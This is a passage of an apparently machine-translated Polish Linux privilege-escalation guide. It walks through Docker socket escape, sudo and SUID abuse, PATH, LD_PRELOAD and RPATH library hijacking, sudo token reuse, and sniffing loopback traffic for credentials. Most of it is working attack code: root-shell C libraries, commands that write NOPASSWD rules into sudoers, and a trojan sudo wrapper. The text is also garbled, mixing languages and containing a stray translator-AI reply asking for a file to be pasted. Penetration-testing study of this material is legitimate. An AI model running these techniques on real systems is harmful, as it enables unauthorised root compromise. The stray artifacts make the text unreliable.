- List Docker Images: Pobierz listę dostępnych obrazów.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Wyślij żądanie utworzenia kontenera, które montuje katalog root systemu hosta.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Start the newly created container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Użyj
socat, aby nawiązać połączenie z kontenerem, co umożliwi wykonywanie poleceń wewnątrz niego.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Po skonfigurowaniu połączenia za pomocą socat możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root do systemu plików hosta.
Others
Zauważ, że jeśli masz uprawnienia zapisu do docker socket, ponieważ jesteś inside the group docker, masz więcej sposobów eskalacji uprawnień. Jeśli docker API nasłuchuje na porcie możesz go również skompromitować.
Sprawdź więcej sposobów na ucieczkę z docker lub nadużycie go do eskalacji uprawnień w:
Containerd (ctr) privilege escalation
Jeśli stwierdzisz, że możesz użyć polecenia ctr, przeczytaj następującą stronę, ponieważ możesz być w stanie nadużyć go do eskalacji uprawnień:
Containerd (ctr) Privilege Escalation
RunC privilege escalation
Jeśli stwierdzisz, że możesz użyć polecenia runc, przeczytaj następującą stronę, ponieważ możesz być w stanie nadużyć go do eskalacji uprawnień:
D-Bus
D-Bus to zaawansowany system komunikacji międzyprocesowej (inter-Process Communication (IPC)), który pozwala aplikacjom efektywnie współdziałać i wymieniać dane. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami.
System jest wszechstronny, wspierając podstawową IPC, która ułatwia wymianę danych między procesami, przypominając ulepszone UNIX domain sockets. Ponadto ułatwia rozgłaszanie zdarzeń lub sygnałów, wspierając płynną integrację między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus wspiera system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były złożone.
D-Bus działa w modelu allow/deny, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego efektu dopasowujących się reguł polityki. Te polityki określają interakcje z bus, co może potencjalnie pozwolić na eskalację uprawnień poprzez wykorzystanie tych uprawnień.
Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf jest podany, opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od fi.w1.wpa_supplicant1.
Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, podczas gdy polityki w kontekście “default” mają zastosowanie do wszystkich nieobjętych innymi, bardziej szczegółowymi politykami.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Dowiedz się, jak enumerate i exploit komunikacji D-Bus tutaj:
D-Bus Enumeration & Command Injection Privilege Escalation
Sieć
Zawsze warto enumerate sieci i ustalić położenie maszyny.
Ogólne enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)
#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1
#L2 neighbours
(arp -e || arp -a || ip neigh)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null
#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null
#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20
#Files used by network services
lsof -i
Szybkie rozpoznanie filtrowania wychodzącego
Jeśli host może uruchamiać polecenia, ale callbacks nie działają, szybko rozdziel filtrowanie DNS, transportu, proxy i tras:
# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true
# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me
Open ports
Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem do niej dostępu:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u
Sklasyfikuj listeners według bind target:
0.0.0.0/[::]: dostępne na wszystkich lokalnych interfejsach.127.0.0.1/::1: tylko lokalne (good tunnel/forward candidates).- Specific internal IPs (e.g.
10.x,172.16/12,192.168.x,fe80::): zazwyczaj osiągalne tylko z segmentów wewnętrznych.
Procedura triage usług dostępnych tylko lokalnie
Gdy przejmiesz hosta, usługi powiązane z 127.0.0.1 często stają się po raz pierwszy osiągalne z twojej powłoki. Szybka lokalna procedura:
# 1) Find local listeners
ss -tulnp
# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1
# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1
# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>
LinPEAS jako skaner sieciowy (tryb wyłącznie sieciowy)
Oprócz lokalnych kontroli PE, linPEAS może działać jako ukierunkowany skaner sieciowy. Używa dostępnych binarek w $PATH (zwykle fping, ping, nc, ncat) i nie instaluje dodatkowych narzędzi.
# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t
# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24
# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20
# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
Jeśli przekażesz -d, -p lub -i bez -t, linPEAS zachowuje się jak pure network scanner (pomijając pozostałe privilege-escalation checks).
Sniffing
Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie złapać niektóre credentials.
timeout 1 tcpdump
Szybkie praktyczne kontrole:
#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"
#Find capture interfaces
tcpdump -D
ip -br addr
Loopback (lo) jest szczególnie przydatny w post-exploitation, ponieważ wiele usług dostępnych tylko wewnętrznie ujawnia tam tokens/cookies/credentials:
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
Nie otrzymałem zawartości pliku. Proszę wklej zawartość src/linux-hardening/privilege-escalation/README.md (albo fragment), abym mógł przetłumaczyć na polski. Zachowam wszystkie tagi, linki, ścieżki i kod bez zmian.
sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri
Użytkownicy
Ogólna enumeracja
Sprawdź, kim jesteś (who), jakie masz privileges, jacy users są w systemie, którzy mogą login oraz którzy mają root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Duży UID
Niektóre wersje Linuxa były podatne na błąd, który pozwala użytkownikom z UID > INT_MAX na eskalację uprawnień. Więcej informacji: here, here and here.
Wykorzystaj to używając: systemd-run -t /bin/bash
Grupy
Sprawdź, czy jesteś członkiem jakiejś grupy, która mogłaby nadać ci uprawnienia root:
Interesting Groups - Linux Privesc
Schowek
Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Polityka haseł
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Znane hasła
Jeśli znasz jakiekolwiek hasło środowiska spróbuj zalogować się jako każdego użytkownika używając tego hasła.
Su Brute
Jeśli nie przeszkadza Ci generowanie dużego hałasu i binaria su oraz timeout są obecne na komputerze, możesz spróbować wykonać brute-force użytkownika przy użyciu su-bruteforce.
Linpeas z parametrem -a również próbuje przeprowadzić brute-force użytkowników.
Nadużycia zapisu w PATH
$PATH
Jeśli odkryjesz, że możesz zapisać w jakimś katalogu z $PATH możesz być w stanie eskalować uprawnienia poprzez utworzenie backdoor w zapisywalnym katalogu o nazwie jakiegoś polecenia, które zostanie wykonane przez innego użytkownika (najlepiej root) i które nie jest wczytywane z katalogu znajdującego się wcześniej niż Twój zapiswalny katalog w $PATH.
SUDO and SUID
Możesz mieć uprawnienia do uruchomienia niektórych poleceń przy użyciu sudo lub pliki mogą mieć ustawiony bit suid. Sprawdź to używając:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Niektóre nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia. Na przykład:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Konfiguracja Sudo może pozwolić użytkownikowi wykonać pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
W tym przykładzie użytkownik demo może uruchamiać vim jako root; łatwo jest uzyskać shell, dodając ssh key do katalogu root lub wywołując sh.
sudo vim -c '!sh'
SETENV
Ta dyrektywa pozwala użytkownikowi set an environment variable podczas wykonywania czegoś:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Ten przykład, oparty na HTB machine Admirer, był podatny na PYTHONPATH hijacking, pozwalający załadować dowolną bibliotekę python podczas uruchamiania skryptu jako root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV zachowany przez sudo env_keep → root shell
Jeśli sudoers zachowuje BASH_ENV (np. Defaults env_keep+="ENV BASH_ENV"), możesz wykorzystać nieinteraktywną procedurę startową Basha, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia.
-
Dlaczego to działa: Dla nieinteraktywnych powłok Bash ocenia
$BASH_ENVi wczytuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo pozwala na uruchomienie skryptu lub wrappera powłoki. JeśliBASH_ENVjest zachowane przez sudo, twój plik zostanie wczytany z uprawnieniami roota. -
Wymagania:
-
Reguła sudo, którą możesz uruchomić (dowolny target, który wywołuje
/bin/bashnieinteraktywnie, lub dowolny bash script). -
BASH_ENVobecne wenv_keep(sprawdź za pomocąsudo -l). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Hardening:
- Usuń
BASH_ENV(iENV) zenv_keep; zamiast tego użyjenv_reset. - Unikaj wrapperów shellowych dla poleceń dozwolonych przez sudo; używaj minimalnych binarek.
- Rozważ logowanie I/O sudo i alertowanie, gdy używane są zachowane zmienne środowiskowe.
Terraform via sudo with preserved HOME (!env_reset)
Jeśli sudo pozostawia środowisko nietknięte (!env_reset) jednocześnie pozwalając na terraform apply, $HOME pozostaje ustawione na użytkownika wywołującego. Terraform w związku z tym ładuje $HOME/.terraformrc jako root i honoruje provider_installation.dev_overrides.
- Wskaż wymagany provider na katalog zapisywalny i umieść złośliwy plugin nazwany po providerze (np.
terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform nie przejdzie Go plugin handshake, ale wykona payload jako root przed zakończeniem działania, pozostawiając po sobie SUID shell.
TF_VAR overrides + symlink validation bypass
Zmienne Terraform mogą być dostarczone za pomocą zmiennych środowiskowych TF_VAR_<name>, które przetrwają, gdy sudo zachowa środowisko. Słabe walidacje takie jak strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") można obejść za pomocą symlinks:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform rozwiązuje symlink i kopiuje rzeczywisty plik /root/root.txt do miejsca dostępnego dla atakującego. Ta sama metoda może być użyta do zapisania w uprzywilejowanych ścieżkach poprzez wcześniejsze utworzenie docelowych symlinków (np. wskazując ścieżkę docelową providera wewnątrz /etc/cron.d/).
requiretty / !requiretty
W niektórych starszych dystrybucjach sudo może być skonfigurowane z requiretty, które wymusza uruchamianie sudo tylko z interaktywnego TTY. Jeśli ustawione jest !requiretty (lub opcja jest nieobecna), sudo można uruchamiać z kontekstów nieinteraktywnych, takich jak reverse shells, cron jobs lub scripts.
Defaults !requiretty
To nie jest bezpośrednia luka sama w sobie, ale rozszerza sytuacje, w których reguły sudo mogą być nadużywane bez potrzeby pełnego PTY.
Sudo env_keep+=PATH / insecure secure_path → PATH hijack
Jeśli sudo -l pokazuje env_keep+=PATH lub secure_path zawierający wpisy zapisywalne przez atakującego (np. /home/<user>/bin), każde względne polecenie wewnątrz dozwolonego celu sudo może zostać podmienione.
- Wymagania: reguła sudo (często
NOPASSWD) uruchamia skrypt lub binarkę, która wywołuje polecenia bez ścieżek bezwzględnych (free,df,ps, itd.) oraz wpis PATH zapisywalny, który jest przeszukiwany jako pierwszy.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
bash -p # root shell via SUID bit
Sudo — obchodzenie ograniczeń ścieżek
Przejdź, aby odczytać inne pliki lub użyć symlinks. Na przykład w pliku sudoers: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Jeśli użyty zostanie wildcard (*), będzie to jeszcze łatwiejsze:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Środki zaradcze: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Polecenie sudo/SUID binary bez ścieżki do polecenia
Jeśli sudo permission jest przyznane pojedynczemu poleceniu bez podania ścieżki: hacker10 ALL= (root) less możesz to wykorzystać, zmieniając zmienną PATH.
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Ta technika może być również użyta, jeśli binarka suid wywołuje inny program bez określania ścieżki do niego (zawsze sprawdź za pomocą strings zawartość podejrzanej binarki SUID).
Binarka SUID ze ścieżką polecenia
Jeśli binarka suid wywołuje inne polecenie, podając ścieżkę, możesz spróbować export a function o nazwie odpowiadającej poleceniu, które wywołuje plik suid.
Na przykład, jeśli binarka suid wywołuje /usr/sbin/service apache2 start, musisz spróbować utworzyć funkcję i ją exportować:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Następnie, gdy wywołasz plik binarny SUID, ta funkcja zostanie wykonana
Modyfikowalny skrypt wykonywany przez wrapper SUID
Częstą nieprawidłową konfiguracją w niestandardowych aplikacjach jest wrapper SUID należący do roota, który uruchamia skrypt, podczas gdy sam skrypt jest zapisywalny przez użytkowników o niskich uprawnieniach.
Typowy wzorzec:
int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}
Jeśli /usr/local/bin/backup.sh jest zapisywalny, możesz dopisać polecenia payload, a następnie uruchomić SUID wrapper:
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
Szybkie kontrole:
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
Ta ścieżka ataku jest szczególnie powszechna w wrapperach “maintenance”/“backup” dostarczanych w /usr/local/bin.
LD_PRELOAD & LD_LIBRARY_PATH
Zmienna środowiskowa LD_PRELOAD jest używana do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które loader ładuje przed wszystkimi innymi, w tym przed standardową biblioteką C (libc.so). Ten proces jest znany jako wstępne ładowanie biblioteki.
Jednak aby zachować bezpieczeństwo systemu i uniemożliwić wykorzystanie tej funkcji, szczególnie w przypadku wykonywalnych plików suid/sgid, system narzuca pewne warunki:
- Loader ignoruje LD_PRELOAD dla programów, w których rzeczywisty identyfikator użytkownika (ruid) nie jest zgodny z efektywnym identyfikatorem użytkownika (euid).
- Dla programów z suid/sgid tylko biblioteki w standardowych ścieżkach, które same mają ustawione suid/sgid, są wstępnie ładowane.
Privilege escalation może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą sudo i wyjście sudo -l zawiera wpis env_keep+=LD_PRELOAD. Ta konfiguracja pozwala zmiennej środowiskowej LD_PRELOAD przetrwać i być rozpoznawaną nawet podczas uruchamiania poleceń przez sudo, co może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
Defaults env_keep += LD_PRELOAD
Zapisz jako /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Następnie skompiluj to używając:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Na koniec, escalate privileges uruchamiając
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
Podobny privesc można wykorzystać, jeśli atakujący kontroluje zmienną środowiskową LD_LIBRARY_PATH, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Gdy natrafisz na binary z uprawnieniami SUID, który wydaje się nietypowy, dobrze jest sprawdzić, czy poprawnie ładuje pliki .so. Można to zrobić, uruchamiając następujące polecenie:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Na przykład, napotkanie błędu takiego jak “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” sugeruje możliwość wykorzystania.
Aby to wykorzystać, należy utworzyć plik C, np. “/path/to/.config/libcalc.c”, zawierający następujący kod:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Ten kod, po skompilowaniu i uruchomieniu, ma na celu eskalację uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie shella z podwyższonymi uprawnieniami.
Skompiluj powyższy plik C do pliku biblioteki współdzielonej (.so) za pomocą:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Na koniec uruchomienie dotkniętego pliku binarnego SUID powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Teraz, gdy znaleźliśmy binarkę SUID, która ładuje bibliotekę z folderu, do którego możemy zapisywać, stwórzmy bibliotekę w tym folderze o wymaganej nazwie:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Jeśli otrzymasz błąd taki jak
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
to oznacza, że biblioteka, którą wygenerowałeś, musi zawierać funkcję nazwaną a_function_name.
GTFOBins
GTFOBins to kuratowana lista Unixowych binarek, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. GTFOArgs to to samo, ale dla przypadków, w których możesz tylko wstrzykiwać argumenty w polecenie.
Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby wydostać się z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, tworzyć bind i reverse shelle oraz ułatwiać inne zadania post-exploitation.
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.
Reusing Sudo Tokens
W przypadkach, gdy masz sudo access ale nie znasz hasła, możesz eskalować uprawnienia przez oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie tokena sesji.
Wymagania do eskalacji uprawnień:
- Masz już shell jako użytkownik “sampleuser”
- “sampleuser” użył
sudodo wykonania czegoś w ostatnich 15 minutach (domyślnie to czas trwania tokena sudo, który pozwala używaćsudobez podawania hasła) cat /proc/sys/kernel/yama/ptrace_scopema wartość 0gdbjest dostępny (możesz je wgrać)
(Możesz tymczasowo włączyć ptrace_scope poleceniem echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope lub trwale modyfikując /etc/sysctl.d/10-ptrace.conf i ustawiając kernel.yama.ptrace_scope = 0)
Jeśli wszystkie te wymagania są spełnione, możesz eskalować uprawnienia używając: https://github.com/nongiach/sudo_inject
- The first exploit (
exploit.sh) will create the binaryactivate_sudo_tokenin /tmp. You can use it to activate the sudo token in your session (you won’t get automatically a root shell, dosudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- Drugi exploit (
exploit_v2.sh) utworzy powłokę sh w /tmp należącą do root z ustawionym setuid
bash exploit_v2.sh
/tmp/sh -p
- Trzeci exploit (
exploit_v3.sh) utworzy sudoers file, który uczyni sudo tokens trwałymi i pozwoli wszystkim użytkownikom używać sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Jeśli masz uprawnienia do zapisu w tym folderze lub do któregokolwiek z utworzonych w nim plików, możesz użyć binarki write_sudo_token aby utworzyć token sudo dla użytkownika i PID.
Na przykład, jeśli możesz nadpisać plik /var/run/sudo/ts/sampleuser i masz powłokę jako ten użytkownik z PID 1234, możesz uzyskać uprawnienia sudo bez konieczności znajomości hasła wykonując:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. Te pliki domyślnie mogą być czytane tylko przez użytkownika root i grupę root.
Jeżeli możesz odczytać ten plik, możesz uzyskać pewne interesujące informacje, a jeśli możesz zapisać dowolny z tych plików, będziesz w stanie eskalować uprawnienia.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Jeżeli masz uprawnienie write, możesz je nadużyć.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Inny sposób nadużycia tych uprawnień:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Istnieją alternatywy dla binarki sudo, takie jak doas dla OpenBSD — pamiętaj, aby sprawdzić konfigurację w /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Jeśli wiesz, że użytkownik zwykle łączy się z maszyną i używa sudo do eskalacji uprawnień i uzyskałeś powłokę w kontekście tego użytkownika, możesz stworzyć nowy plik wykonywalny sudo, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie zmodyfikuj $PATH w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, został wykonany twój plik wykonywalny sudo.
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład sudo-piggyback modyfikuje ~/.bashrc, ~/.zshrc, ~/.bash_profile. Innym przykładem jest bashdoor.py
Albo uruchamiając coś takiego:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Biblioteka współdzielona
ld.so
Plik /etc/ld.so.conf wskazuje, skąd pochodzą ładowane pliki konfiguracyjne. Zazwyczaj plik zawiera następującą ścieżkę: include /etc/ld.so.conf.d/*.conf
Oznacza to, że pliki konfiguracyjne z /etc/ld.so.conf.d/*.conf zostaną odczytane. Te pliki konfiguracyjne wskazują na inne katalogi, w których będą poszukiwane biblioteki. Na przykład zawartość /etc/ld.so.conf.d/libc.conf to /usr/local/lib. Oznacza to, że system będzie wyszukiwał biblioteki w /usr/local/lib.
Jeśli z jakiegoś powodu użytkownik ma prawa zapisu do którejkolwiek z wymienionych ścieżek: /etc/ld.so.conf, /etc/ld.so.conf.d/, dowolnego pliku wewnątrz /etc/ld.so.conf.d/ lub dowolnego folderu wskazanego wewnątrz pliku konfiguracyjnego /etc/ld.so.conf.d/*.conf, może być w stanie dokonać eskalacji uprawnień.\
Zobacz, jak wykorzystać tę błędną konfigurację na następującej stronie:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Kopiując lib do /var/tmp/flag15/, zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej RPATH.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Następnie utwórz złośliwą bibliotekę w /var/tmp za pomocą gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
